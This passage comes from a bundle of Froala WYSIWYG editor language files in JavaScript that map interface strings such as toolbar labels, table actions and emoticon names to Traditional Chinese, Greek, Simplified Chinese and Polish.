throwing a kiss': '扔一个吻', 'Kissing face with smiling eyes': '带着微笑的眼睛接吻的脸', 'Kissing face with closed eyes': '閉眼接吻', 'Face with stuck out tongue': '舌头伸出来的脸', 'Face with stuck out tongue and winking eye': '眨眼吐舌\'', 'Face with stuck out tongue and tightly-closed eyes': '脸上伸出舌头和眨眼的眼睛', 'Disappointed face': '失望', 'Worried face': '担心的脸', 'Angry face': '生氣的', 'Pouting face': '撅嘴', 'Crying face': "\u54ED\u6CE3\u7684\u81C9", 'Persevering face': "\u600E\u5948\u81C9", 'Face with look of triumph': '胜利的脸', 'Disappointed but relieved face': '失望但释然的脸', 'Frowning face with open mouth': '皺眉', 'Anguished face': '痛苦的脸', 'Fearful face': '害怕', 'Weary face': "\u9762\u5C0D\u53AD\u5026", 'Sleepy face': '困了', 'Tired face': '累了', 'Grimacing face': '鬼脸', 'Loudly crying face': '大声哭泣的脸', 'Face with open mouth': '張開嘴', 'Hushed face': "\u5B89\u975C\u7684\u81C9", 'Face with open mouth and cold sweat': "\u9762\u5C0D\u5F35\u958B\u5634\uFF0C\u4E00\u8EAB\u51B7\u6C57", 'Face screaming in fear': "\u9762\u5C0D\u5C16\u53EB\u5728\u6050\u61FC\u4E2D", 'Astonished face': "\u9762\u5C0D\u9A5A\u8A1D", 'Flushed face': '臉紅', 'Sleeping face': "\u719F\u7761\u7684\u81C9", 'Dizzy face': "\u9762\u5C0D\u7729", 'Face without mouth': '沒有嘴的臉', 'Face with medical mask': "\u9762\u5C0D\u91AB\u7642\u53E3\u7F69", // Line breaker 'Break': '換行', // Math 'Subscript': '下標', 'Superscript': '上標', // Full screen 'Fullscreen': '全屏', // Horizontal line 'Insert Horizontal Line': '插入水平線', // Clear formatting 'Clear Formatting': '清除格式', // Save 'Save': '保存', // Undo, redo 'Undo': '撤消', 'Redo': '重做', // Select all 'Select All': '全選', // Code view 'Code View': '代码视图', // Quote 'Quote': '引用', 'Increase': "\u7E2E\u6392", 'Decrease': "\u53BB\u9664\u7E2E\u6392", // Quick Insert 'Quick Insert': '快速插入', // Spcial Characters 'Special Characters': '特殊字符', 'Latin': '拉丁', 'Greek': '希臘語', 'Cyrillic': '西里爾', 'Punctuation': '標點', 'Currency': '貨幣', 'Arrows': '箭頭', 'Math': '數學', 'Misc': '雜項', // Print. 'Print': '列印', // Spell Checker. 'Spell Checker': '拼寫檢查器', // Help 'Help': '幫助', 'Shortcuts': '快捷鍵', 'Inline Editor': '內聯編輯器', 'Show the editor': '顯示編輯器', 'Common actions': '常用操作', 'Copy': '複製', 'Cut': '切', 'Paste': '貼上', 'Basic Formatting': '基本格式', 'Increase quote level': '增加报价水平', 'Decrease quote level': '降低报价水平', 'Image / Video': '圖像/影片', 'Resize larger': '調整大小更大', 'Resize smaller': '調整大小更小', 'Table': '表', 'Select table cell': '選擇表單元格', 'Extend selection one cell': '增加選中的單元格', 'Extend selection one row': '增加選中的行', 'Navigation': '導航', 'Focus popup / toolbar': '焦點彈出/工具欄', 'Return focus to previous position': '將焦點返回到上一個位置', // Embed.ly 'Embed URL': '嵌入網址', 'Paste in a URL to embed': '貼上要嵌入的網址', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': '粘貼的內容來自微軟Word文檔。你想保留格式還是清理它?', 'Keep': '保留', 'Clean': '清潔', 'Word Paste Detected': '檢測到貼上自 Word 的內容', // Character Counter 'Characters': '人物', // More Buttons 'More Text': '更多文字', 'More Paragraph': '更多段落', 'More Rich': '更多豐富', 'More Misc': '更多雜項' }, direction: 'ltr' }; }))); //# sourceMappingURL=zh_tw.js.map languages/el.js 0000674 00000032736 00000000000 0007427 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Greek */ FE.LANGUAGE['el'] = { translation: { // Place holder 'Type something': 'Εισάγετε κείμενο', // Basic formatting 'Bold': 'Έντονα', 'Italic': 'Πλάγια', 'Underline': 'Υπογραμμισμένα', 'Strikethrough': 'Διαγραμμένα', // Main buttons 'Insert': 'Εισαγωγή', 'Delete': 'Διαγραφή', 'Cancel': 'Ακύρωση', 'OK': 'OK', 'Back': 'Πίσω', 'Remove': 'Αφαίρεση', 'More': 'Περισσότερα', 'Update': 'Ενημέρωση', 'Style': 'Εξατομίκευση', // Font 'Font Family': 'Γραμματοσειρά', 'Font Size': 'Μέγεθος', // Colors 'Colors': 'Χρώματα', 'Background': 'Φόντο', 'Text': 'Κείμενο', 'HEX Color': 'Χρώμα HEX', // Paragraphs 'Paragraph Format': 'Μορφή παραγράφου', 'Normal': 'Κανονική', 'Code': 'Κώδικας', 'Heading 1': 'Επικεφαλίδα 1', 'Heading 2': 'Επικεφαλίδα 2', 'Heading 3': 'Επικεφαλίδα 3', 'Heading 4': 'Επικεφαλίδα 4', // Style 'Paragraph Style': 'Εξατομίκευση παραγράφου', 'Gray': 'Γκρι', 'Spaced': 'Αραιά', 'Uppercase': 'Κεφαλαία', 'Inline Style': 'Ενσωματωμένος τύπος', // Alignment 'Align': 'Ευθυγράμμιση', 'Align Left': 'Αριστερά', 'Align Center': 'Κέντρο', 'Align Right': 'Δεξιά', 'Align Justify': 'Γέμισμα', 'None': 'Χωρίς ευθυγράμμιση', // Lists 'Ordered List': 'Διεταγμένη λίστα', 'Unordered List': 'Αναδιάταχτη λίστα', // Indent 'Decrease Indent': 'Μείωση πλαισίου', 'Increase Indent': 'Αύξηση πλαισίου', // Links 'Insert Link': 'Εισαγωγή συνδέσμου', 'Open in new tab': 'Άνοιγμα σε νέα καρτέλα', 'Open Link': 'Άνοιγμα συνδέσμου', 'Edit Link': 'Επεξεργασία συνδέσμου', 'Unlink': 'Αποσύνδεση', 'Choose Link': 'Επιλογή συνδέσμου', // Images 'Insert Image': 'Εισαγωγή εικόνας', 'Upload Image': 'Ανέβασμα εικόνας', 'By URL': 'Από URL', 'Browse': 'Περιήγηση', 'Drop image': 'Σύρετε εικόνα', 'or click': 'ή κάντε κλικ', 'Manage Images': 'Διαχείριση εικόνων', 'Loading': 'Φόρτωση', 'Deleting': 'Διαγραφή', 'Tags': 'Ετικέτες', 'Are you sure? Image will be deleted.': 'Σίγουρα; Η εικόνα θα διαγραφεί.', 'Replace': 'Αντικατάσταση', 'Uploading': 'Ανέβασμα', 'Loading image': 'Φόρτωση εικόνας', 'Display': 'Προβολή', 'Inline': 'Ενσωματωμένη', 'Break Text': 'Σπάσιμο κειμένου', 'Alternative Text': 'Εναλλακτικό κείμενο', 'Change Size': 'Αλλαγή μεγέθους', 'Width': 'Πλάτος', 'Height': 'Ύψος', 'Something went wrong. Please try again.': 'Κάτι πήγε στραβά. Προσπαθήστε ξανά.', 'Image Caption': 'Λεζάντα εικόνας', 'Advanced Edit': 'Προχωρημένη επεξεργασία', 'Rounded': 'Κυκλικός', 'Bordered': 'Πλαίσιο', 'Shadow': 'Σκια', // Video 'Insert Video': 'Εισαγωγή βίντεο', 'Embedded Code': 'Ενσωμάτωση κώδικα', 'Paste in a video URL': 'Εισαγωγή URL βίντεο', 'Drop video': 'Σύρετε βίντεο', 'Your browser does not support HTML5 video.': 'Ο περιηγητής σας δεν υποστηρίζει βίντεο τύπου HTML5.', 'Upload Video': 'Ανέβασμα βίντεο', // Tables 'Insert Table': 'Εισαγωγή πίνακα', 'Table Header': 'Επικεφαλίδα πίνακα', 'Remove Table': 'Αφαίρεση πίνακα', 'Table Style': 'Εξατομίκευση πίνακα', 'Horizontal Align': 'Οριζόντια ευθυγράμμιση', 'Row': 'Σειρά', 'Insert row above': 'Εισαγωγή σειράς από πάνω', 'Insert row below': 'Εισαγωγή σειράς από κάτω', 'Delete row': 'Διαγραφή σειράς', 'Column': 'Στήλη', 'Insert column before': 'Εισαγωγή στήλης πριν', 'Insert column after': 'Εισαγωγή στήλης μετά', 'Delete column': 'Διαγραφή στήλης', 'Cell': 'Κελί', 'Merge cells': 'Συγχώνευση κελιών', 'Horizontal split': 'Οριζόντος διαχωρισμός', 'Vertical split': 'Κατακόρυφος διαχωρισμός', 'Cell Background': 'Φόντο κελιού', 'Vertical Align': 'Κατακόρυφη ευθυγράμμιση', 'Top': 'Κορυφή', 'Middle': 'Μέση', 'Bottom': 'Βάθος', 'Align Top': 'Ευθυγράμμιση κορυφής', 'Align Middle': 'Ευθυγράμμιση μέσης', 'Align Bottom': 'Ευθυγράμμιση βάθους', 'Cell Style': 'Εξατομίκευση κελιού', // Files 'Upload File': 'Ανέβασμα αρχείου', 'Drop file': 'Σύρετε αρχείο', // Emoticons 'Emoticons': 'Emoticons', 'Grinning face': 'Γέλιο', 'Grinning face with smiling eyes': 'Γέλιο με γελαστά μάτια', 'Face with tears of joy': 'Δάκρυα γέλιου (LOL)', 'Smiling face with open mouth': 'Χαμόγελο με ανοιχτό στόμα', 'Smiling face with open mouth and smiling eyes': 'Χαμόγελο με ανοιχτό στόμα και γελαστά μάτια', 'Smiling face with open mouth and cold sweat': 'Χαμόγελο με ανοιχτό στόμα και σταγόνα ιδρώτα', 'Smiling face with open mouth and tightly-closed eyes': 'Χαμόγελο με ανοιχτό στόμα και σφιχτά κλεισμένα μάτια', 'Smiling face with halo': 'Χαμόγελο με φωτοστέφανο', 'Smiling face with horns': 'Χαμογελαστό διαβολάκι', 'Winking face': 'Κλείσιμο ματιού', 'Smiling face with smiling eyes': 'Χαμόγελο με γελαστά μάτια', 'Face savoring delicious food': 'Νόστιμο', 'Relieved face': 'Ανακούφιση', 'Smiling face with heart-shaped eyes': 'Χαμόγελο με μάτια σε σχήμα καρδιάς', 'Smiling face with sunglasses': 'Χαμόγελο με γυαλιά ηλίου', 'Smirking face': 'Ειρωνία', 'Neutral face': 'Ουδέτερο', 'Expressionless face': 'Ανέκφραστο', 'Unamused face': 'Αψυχαγώγητο', 'Face with cold sweat': 'Σταγόνα ιδρώτα', 'Pensive face': 'Σκεπτικό', 'Confused face': 'Σύγχιση', 'Confounded face': 'Ακράτεια', 'Kissing face': 'Φιλί', 'Face throwing a kiss': 'Πάσα φιλιού', 'Kissing face with smiling eyes': 'Φιλί με γελαστά μάτια', 'Kissing face with closed eyes': 'Φιλί με κλειστά μάτια', 'Face with stuck out tongue': 'Γλώσσα', 'Face with stuck out tongue and winking eye': 'Γλώσσα με κλείσιμο ματιού', 'Face with stuck out tongue and tightly-closed eyes': 'Γλώσσα με σφιχτά κλεισμένα μάτια', 'Disappointed face': 'Απογοήτευση', 'Worried face': 'Ανυσηχία', 'Angry face': 'Θυμός', 'Pouting face': 'Έξαλλο', 'Crying face': 'Κλάμα θυμού', 'Persevering face': 'Έτοιμο να εκραγεί', 'Face with look of triumph': 'Θρίαμβος', 'Disappointed but relieved face': 'Απογοήτευση με ανακούφιση', 'Frowning face with open mouth': 'Απορία', 'Anguished face': 'Αγωνία', 'Fearful face': 'Φόβος', 'Weary face': 'Κούραση', 'Sleepy face': 'Εξάντληση', 'Tired face': 'Γκρίνια', 'Grimacing face': 'Γκριμάτσα', 'Loudly crying face': 'Δυνατό κλάμα', 'Face with open mouth': 'Έκπληξη', 'Hushed face': 'Σιωπή', 'Face with open mouth and cold sweat': 'Έκπληξη με ιδρώτα', 'Face screaming in fear': 'Πανικός', 'Astonished face': 'Ηλίθιο', 'Flushed face': 'Ντροπαλό', 'Sleeping face': 'Ύπνος', 'Dizzy face': 'Ζαλάδα', 'Face without mouth': 'Άφωνο', 'Face with medical mask': 'Νοσηλευτική μάσκα', // Line breaker 'Break': 'Σπάσιμο', // Math 'Subscript': 'Υποκείμενο', 'Superscript': 'Υπερκείμενο', // Full screen 'Fullscreen': 'Πλήρης οθόνη', // Horizontal line 'Insert Horizontal Line': 'Εισαγωγή οριζόντιας γραμμής', // Clear formatting 'Clear Formatting': 'Εκαθάριση μορφοποίησης', // Save 'Save': '', // Undo, redo 'Undo': 'Αναίρεση', 'Redo': 'Επανάληψη', // Select all 'Select All': 'Επιλογή Όλων', // Code view 'Code View': 'Προβολή Κώδικα', // Quote 'Quote': 'Απόσπασμα', 'Increase': 'Αύξηση', 'Decrease': 'Μείωση', // Quick Insert 'Quick Insert': 'Γρήγορη εισαγωγή', // Spcial Characters 'Special Characters': 'Ειδικοί χαρακτήρες', 'Latin': 'Λατινικοί', 'Greek': 'Ελληνικοί', 'Cyrillic': 'Κρυλλικοί', 'Punctuation': 'Σημεία στήξης', 'Currency': 'Συνάλλαγμα', 'Arrows': 'Βέλη', 'Math': 'Μαθηματικά', 'Misc': 'Διάφοροι', // Print. 'Print': 'Εκτύπωση', // Spell Checker. 'Spell Checker': 'Έλεγχος ορθογραφίας', // Help 'Help': 'Βοήθεια', 'Shortcuts': 'Συντομεύσεις', 'Inline Editor': 'Ενσωματωμένος επεξεργαστής', 'Show the editor': 'Εμφάνιση επεξεργαστή', 'Common actions': 'Κοινές ενέργειες', 'Copy': 'Αντιγραφή', 'Cut': 'Αποκοπή', 'Paste': 'Επικόλληση', 'Basic Formatting': 'Βασική διαμόρφωση', 'Increase quote level': 'Αύξηση επιπέδου αποσπάσματος', 'Decrease quote level': 'Μείωση επιπέδου αποσπάσματος', 'Image / Video': 'Εικόνα / Βίντεο', 'Resize larger': 'Αύξηση μεγέθους', 'Resize smaller': 'Μείωση μεγέθους', 'Table': 'Πίνακας', 'Select table cell': 'Επιλογή κελιού από πίνακα', 'Extend selection one cell': 'Επέκταση επιλογής κατά ένα κελί', 'Extend selection one row': 'Επέκταση επιλογής κατά μια σειρά', 'Navigation': 'Πλοήγηση', 'Focus popup / toolbar': 'Εστίαση αναδυόμενου / εργαλειοθήκης', 'Return focus to previous position': 'Επιστροφή εστίασης στην προηγούμενη θέση', // Embed.ly 'Embed URL': 'Ενσωμάτωση URL', 'Paste in a URL to embed': 'Εισάγετε ένα URL για ενσωμάτωση', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Το περιεχόμενο που επικολλήσατε προέρχεται από ένα έγγραφο του Microsoft Word. Θέλετε να διατηρήσετε το έγγραφο ή να το καταργήσετε;', 'Keep': 'Διατήρηση', 'Clean': 'Κατάργηση', 'Word Paste Detected': 'Εντοπίστηκε επικόλληση από αρχείο Word', // Character Counter 'Characters': 'Χαρακτήρες', // More Buttons 'More Text': 'Περισσότερα κείμενο', 'More Paragraph': 'Περισσότερα Παράγραφος', 'More Rich': 'Περισσότερα Πλούσιος', 'More Misc': 'Περισσότερα Διάφορα' }, direction: 'ltr' }; }))); //# sourceMappingURL=el.js.map languages/zh_cn.js 0000674 00000024647 00000000000 0010132 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Simplified Chinese spoken in China. */ FE.LANGUAGE['zh_cn'] = { translation: { // Place holder 'Type something': '输入内容', // Basic formatting 'Bold': '粗体', 'Italic': '斜体', 'Underline': '下划线', 'Strikethrough': '删除线', // Main buttons 'Insert': '插入', 'Delete': '删除', 'Cancel': '取消', 'OK': '确定', 'Back': '后退', 'Remove': '删除', 'More': '更多', 'Update': '更新', 'Style': '样式', // Font 'Font Family': '字体', 'Font Size': '字号', // Colors 'Colors': '颜色', 'Background': '背景', 'Text': '字体', 'HEX Color': '十六进制颜色', // Paragraphs 'Paragraph Format': '段落格式', 'Normal': '正文', 'Code': '代码', 'Heading 1': '标题1', 'Heading 2': '标题2', 'Heading 3': '标题3', 'Heading 4': '标题4', // Style 'Paragraph Style': '段落样式', 'Inline Style': '内联样式', // Alignment 'Align': '对齐方式', 'Align Left': '左对齐', 'Align Center': '居中', 'Align Right': '右对齐', 'Align Justify': '两端对齐', 'None': '无', // Lists 'Ordered List': '编号', 'Unordered List': '项目符号', // Indent 'Decrease Indent': '减少缩进量', 'Increase Indent': '增加缩进量', // Links 'Insert Link': '插入超链接', 'Open in new tab': '在新标签页中打开', 'Open Link': '打开超链接', 'Edit Link': '编辑超链接', 'Unlink': '删除超链接', 'Choose Link': '选择超链接', // Images 'Insert Image': '插入图片', 'Upload Image': '上传图片', 'By URL': '通过 URL', 'Browse': '浏览', 'Drop image': '拖入图片', 'or click': '或点击', 'Manage Images': '管理图片', 'Loading': '加载中', 'Deleting': '删除中', 'Tags': '标签', 'Are you sure? Image will be deleted.': '图片将会被删除,是否确认?', 'Replace': '替换', 'Uploading': '上传中', 'Loading image': '图片加载中', 'Display': '显示', 'Inline': '嵌入型', 'Break Text': '上下型环绕', 'Alternative Text': '替换文字', 'Change Size': '改变大小', 'Width': '宽度', 'Height': '高度', 'Something went wrong. Please try again.': '发生错误,请重试。', 'Image Caption': '图片标题', 'Advanced Edit': '高级编辑', // Video 'Insert Video': '插入视频', 'Embedded Code': '嵌入代码', 'Paste in a video URL': '粘贴视频网址', 'Drop video': '拖入视频', 'Your browser does not support HTML5 video.': '您的浏览器不支持 HTML5 视频。', 'Upload Video': '上传视频', // Tables 'Insert Table': '插入表格', 'Table Header': '表头', 'Remove Table': '删除表格', 'Table Style': '表格样式', 'Horizontal Align': '水平对齐方式', 'Row': '行', 'Insert row above': '在上方插入', 'Insert row below': '在下方插入', 'Delete row': '删除行', 'Column': '列', 'Insert column before': '在左侧插入', 'Insert column after': '在右侧插入', 'Delete column': '删除列', 'Cell': '单元格', 'Merge cells': '合并单元格', 'Horizontal split': '水平分割', 'Vertical split': '垂直分割', 'Cell Background': '单元格背景', 'Vertical Align': '垂直对齐方式', 'Top': '靠上', 'Middle': '居中', 'Bottom': '靠下', 'Align Top': '靠上对齐', 'Align Middle': '居中对齐', 'Align Bottom': '靠下对齐', 'Cell Style': '单元格样式', // Files 'Upload File': '上传文件', 'Drop file': '拖入文件', // Emoticons 'Emoticons': '表情符号', 'Grinning face': '露齿笑脸', 'Grinning face with smiling eyes': '露齿笑到眯起眼', 'Face with tears of joy': '笑哭', 'Smiling face with open mouth': '张嘴微笑', 'Smiling face with open mouth and smiling eyes': '眯眼张嘴微笑', 'Smiling face with open mouth and cold sweat': '带冷汗的张嘴微笑', 'Smiling face with open mouth and tightly-closed eyes': '紧闭双眼张嘴微笑', 'Smiling face with halo': '带光环微笑', 'Smiling face with horns': '带牛角的微笑', 'Winking face': '眨眼', 'Smiling face with smiling eyes': '眯眼微笑', 'Face savoring delicious food': '馋', 'Relieved face': '如释重负', 'Smiling face with heart-shaped eyes': '桃心眼微笑', 'Smiling face with sunglasses': '戴太阳镜微笑', 'Smirking face': '得意地笑', 'Neutral face': '中性脸', 'Expressionless face': '面无表情', 'Unamused face': '不高兴', 'Face with cold sweat': '冷汗', 'Pensive face': '沉思', 'Confused face': '迷惑', 'Confounded face': '困惑', 'Kissing face': '嘴巴嘟嘟', 'Face throwing a kiss': '飞吻', 'Kissing face with smiling eyes': '眯眼接吻', 'Kissing face with closed eyes': '闭眼接吻', 'Face with stuck out tongue': '吐舌', 'Face with stuck out tongue and winking eye': '眨眼吐舌', 'Face with stuck out tongue and tightly-closed eyes': '眯眼吐舌', 'Disappointed face': '失望', 'Worried face': '担心', 'Angry face': '生气', 'Pouting face': '撅嘴', 'Crying face': '大哭', 'Persevering face': '坚强', 'Face with look of triumph': '扬眉吐气', 'Disappointed but relieved face': '失望', 'Frowning face with open mouth': '皱眉', 'Anguished face': '痛苦', 'Fearful face': '害怕', 'Weary face': '疲惫', 'Sleepy face': '困了', 'Tired face': '累了', 'Grimacing face': '扭曲脸', 'Loudly crying face': '大哭', 'Face with open mouth': '张开嘴', 'Hushed face': '安静', 'Face with open mouth and cold sweat': '冷汗', 'Face screaming in fear': '害怕尖叫', 'Astonished face': '惊讶', 'Flushed face': '脸红', 'Sleeping face': '熟睡', 'Dizzy face': '眩晕', 'Face without mouth': '没有嘴的脸', 'Face with medical mask': '口罩脸', // Line breaker 'Break': '换行', // Math 'Subscript': '下标', 'Superscript': '上标', // Full screen 'Fullscreen': '全屏', // Horizontal line 'Insert Horizontal Line': '插入水平线', // Clear formatting 'Clear Formatting': '清除格式', // Save 'Save': '保存', // Undo, redo 'Undo': '撤消', 'Redo': '恢复', // Select all 'Select All': '全选', // Code view 'Code View': '代码视图', // Quote 'Quote': '引用', 'Increase': '增加引用级别', 'Decrease': '减少引用级别', // Quick Insert 'Quick Insert': '快速插入', // Spcial Characters 'Special Characters': '特殊字符', 'Latin': '拉丁字母', 'Greek': '希腊字母', 'Cyrillic': '西里尔字母', 'Punctuation': '标点', 'Currency': '货币', 'Arrows': '箭头', 'Math': '数学', 'Misc': '杂项', // Print. 'Print': '打印', // Spell Checker. 'Spell Checker': '拼写检查器', // Help 'Help': '帮助', 'Shortcuts': '快捷键', 'Inline Editor': '内联编辑器', 'Show the editor': '显示编辑器', 'Common actions': '常用操作', 'Copy': '复制', 'Cut': '剪切', 'Paste': '粘贴', 'Basic Formatting': '基本格式', 'Increase quote level': '增加引用级别', 'Decrease quote level': '减少引用级别', 'Image / Video': '图像/视频', 'Resize larger': '放大', 'Resize smaller': '缩小', 'Table': '表格', 'Select table cell': '选择单元格', 'Extend selection one cell': '增加选中的单元格', 'Extend selection one row': '增加选中的行', 'Navigation': '导航', 'Focus popup / toolbar': '焦点弹出/工具栏', 'Return focus to previous position': '将焦点返回到上一个位置', // Embed.ly 'Embed URL': '嵌入网址', 'Paste in a URL to embed': '粘贴要嵌入的网址', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': '粘贴的内容来自微软 Word 文档。你想保留还是清除格式?', 'Keep': '保留', 'Clean': '清除', 'Word Paste Detected': '检测到粘贴自 Word 的内容', // Character Counter 'Characters': '字数统计', // More Buttons 'More Text': ' 更多文字', 'More Paragraph': '更多段落', 'More Rich': '更多丰富', 'More Misc': '更多杂项', 'Rounded': '圆角', 'Bordered': '边框', 'Shadow': '阴影', 'Download PDF': '下载PDF', 'Text Color': '字体颜色', 'Background Color': '背景颜色', 'Inline Class': '内联类', 'Highlighted': '高亮', 'Transparent': '透明', 'Big Red': '大号红', 'Small Blue': '小号蓝', 'Default': '默认', 'Lower Alpha': 'a,b,c...', 'Lower Greek': 'α,β,γ...', 'Lower Roman': 'i,ii,iii...', 'Upper Alpha': 'A,B,C...', 'Upper Roman': 'Ⅰ,Ⅱ,Ⅲ...', 'Circle': '○ 空心圆', 'Disc': '● 实心圆', 'Square': '■ 实心方块', 'Gray': '灰色', 'Spaced': '字母间隙', 'Uppercase': '大写', 'Line Height': '行高', 'Single': '1', 'Double': '2' }, direction: 'ltr' }; }))); //# sourceMappingURL=zh_cn.js.map languages/pl.js 0000674 00000030145 00000000000 0007432 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Polish */ FE.LANGUAGE['pl'] = { translation: { // Place holder 'Type something': "Wpisz co\u015B", // Missing translations 'Text Color': 'Kolor tekstu', 'Background Color': 'Kolor tła', 'Inline Class': 'Klasa inline', 'Default': 'Domyślna', 'Lower Alpha': 'Małe litery alfabetu', 'Lower Greek': 'Małe litery greckie', 'Lower Roman': 'Małe litery rzymskie', 'Upper Alpha': 'Wielkie litery alfabetu', 'Upper Roman': 'Wielkie litery rzymskie', 'Circle': 'Okrąg', 'Disc': 'Dysk', 'Square': 'Kwadrat', 'Single': 'Pojedynczy', 'Double': 'Podwójnie', 'Insert Files': 'Wstaw pliki', 'Download PDF': 'Pobierz PDF', // Basic formatting 'Bold': 'Pogrubienie', 'Italic': 'Kursywa', 'Underline': "Podkre\u015Blenie", 'Strikethrough': "Przekre\u015Blenie", // Main buttons 'Insert': 'Wstaw', 'Delete': "Usun\u0105\u0107", 'Cancel': 'Anuluj', 'OK': 'Ok', 'Back': 'Plecy', 'Remove': "Usun\u0105\u0107", 'More': 'Jeszcze', 'Update': 'Aktualizacja', 'Style': 'Styl', // Font 'Font Family': "Kr\xF3j czcionki", 'Font Size': 'Rozmiar czcionki', // Colors 'Colors': 'Kolory', 'Background': "T\u0142o", 'Text': 'Tekstu', 'HEX Color': 'Sześciokąt', // Paragraphs 'Paragraph Format': 'Formaty', 'Normal': 'Normalny', 'Code': "Kod \u017Ar\xF3d\u0142owy", 'Heading 1': "Nag\u0142\xF3wek 1", 'Heading 2': "Nag\u0142\xF3wek 2", 'Heading 3': "Nag\u0142\xF3wek 3", 'Heading 4': "Nag\u0142\xF3wek 4", // Style 'Paragraph Style': 'Styl akapitu', 'Inline Style': 'Stylu zgodna', // Alignment 'Align': "Wyr\xF3wnaj", 'Align Left': "Wyr\xF3wnaj do lewej", 'Align Center': "Wyr\xF3wnaj do \u015Brodka", 'Align Right': "Wyr\xF3wnaj do prawej", 'Align Justify': 'Do lewej i prawej', 'None': "\u017Baden", // Lists 'Ordered List': "Uporz\u0105dkowana lista", 'Unordered List': "Lista nieuporz\u0105dkowana", // Indent 'Decrease Indent': "Zmniejsz wci\u0119cie", 'Increase Indent': "Zwi\u0119ksz wci\u0119cie", // Links 'Insert Link': 'Wstaw link', 'Open in new tab': "Otw\xF3rz w nowej karcie", 'Open Link': "Otw\xF3rz link", 'Edit Link': 'Link edytuj', 'Unlink': "Usu\u0144 link", 'Choose Link': 'Wybierz link', // Images 'Insert Image': 'Wstaw obrazek', 'Upload Image': "Za\u0142aduj obrazek", 'By URL': 'Przez URL', 'Browse': "Przegl\u0105danie", 'Drop image': "Upu\u015Bci\u0107 obraz", 'or click': 'lub kliknij', 'Manage Images': "Zarz\u0105dzanie zdj\u0119ciami", 'Loading': "\u0141adowanie", 'Deleting': 'Usuwanie', 'Tags': 'Tagi', 'Are you sure? Image will be deleted.': 'Czy na pewno? Obraz zostanie skasowany.', 'Replace': "Zast\u0105pi\u0107", 'Uploading': 'Zamieszczanie', 'Loading image': "\u0141adowanie obrazek", 'Display': 'Wystawa', 'Inline': 'Zgodna', 'Break Text': "Z\u0142ama\u0107 tekst", 'Alternative Text': 'Tekst alternatywny', 'Change Size': "Zmie\u0144 rozmiar", 'Width': "Szeroko\u015B\u0107", 'Height': "Wysoko\u015B\u0107", 'Something went wrong. Please try again.': "Co\u015B posz\u0142o nie tak. Prosz\u0119 spr\xF3buj ponownie.", 'Image Caption': 'Podpis obrazu', 'Advanced Edit': 'Zaawansowana edycja', // Video 'Insert Video': 'Wstaw wideo', 'Embedded Code': 'Kod osadzone', 'Paste in a video URL': 'Wklej adres URL filmu', 'Drop video': 'Upuść wideo', 'Your browser does not support HTML5 video.': 'Twoja przeglądarka nie obsługuje wideo html5.', 'Upload Video': 'Prześlij wideo', // Tables 'Insert Table': "Wstaw tabel\u0119", 'Table Header': "Nag\u0142\xF3wek tabeli", 'Remove Table': "Usu\u0144 tabel\u0119", 'Table Style': 'Styl tabeli', 'Horizontal Align': "Wyr\xF3wnaj poziomy", 'Row': 'Wiersz', 'Insert row above': 'Wstaw wiersz przed', 'Insert row below': 'Wstaw wiersz po', 'Delete row': "Usu\u0144 wiersz", 'Column': 'Kolumna', 'Insert column before': "Wstaw kolumn\u0119 przed", 'Insert column after': "Wstaw kolumn\u0119 po", 'Delete column': "Usu\u0144 kolumn\u0119", 'Cell': "Kom\xF3rka", 'Merge cells': "\u0141\u0105cz kom\xF3rki", 'Horizontal split': "Podzia\u0142 poziomy", 'Vertical split': "Podzia\u0142 pionowy", 'Cell Background': "T\u0142a kom\xF3rek", 'Vertical Align': "Pionowe wyr\xF3wnanie", 'Top': 'Top', 'Middle': "\u015Arodkowy", 'Bottom': 'Dno', 'Align Top': "Wyr\xF3wnaj do g\xF3ry", 'Align Middle': "Wyr\xF3wnaj \u015Brodku", 'Align Bottom': "Wyr\xF3wnaj do do\u0142u", 'Cell Style': "Styl kom\xF3rki", // Files 'Upload File': "Prze\u015Blij plik", 'Drop file': "Upu\u015Bci\u0107 plik", // Emoticons 'Emoticons': 'Emotikony', 'Grinning face': "Z u\u015Bmiechem twarz", 'Grinning face with smiling eyes': "Z u\u015Bmiechem twarz z u\u015Bmiechni\u0119tymi oczami", 'Face with tears of joy': "Twarz ze \u0142zami rado\u015Bci", 'Smiling face with open mouth': "U\u015Bmiechni\u0119ta twarz z otwartymi ustami", 'Smiling face with open mouth and smiling eyes': "U\u015Bmiechni\u0119ta twarz z otwartymi ustami i u\u015Bmiechni\u0119te oczy", 'Smiling face with open mouth and cold sweat': "U\u015Bmiechni\u0119ta twarz z otwartymi ustami i zimny pot", 'Smiling face with open mouth and tightly-closed eyes': "U\u015Bmiechni\u0119ta twarz z otwartymi ustami i szczelnie zamkni\u0119tych oczu", 'Smiling face with halo': "U\u015Bmiechni\u0119ta twarz z halo", 'Smiling face with horns': "U\u015Bmiechni\u0119ta twarz z rogami", 'Winking face': "Mrugaj\u0105ca twarz", 'Smiling face with smiling eyes': "U\u015Bmiechni\u0119ta twarz z u\u015Bmiechni\u0119tymi oczami", 'Face savoring delicious food': "Twarz 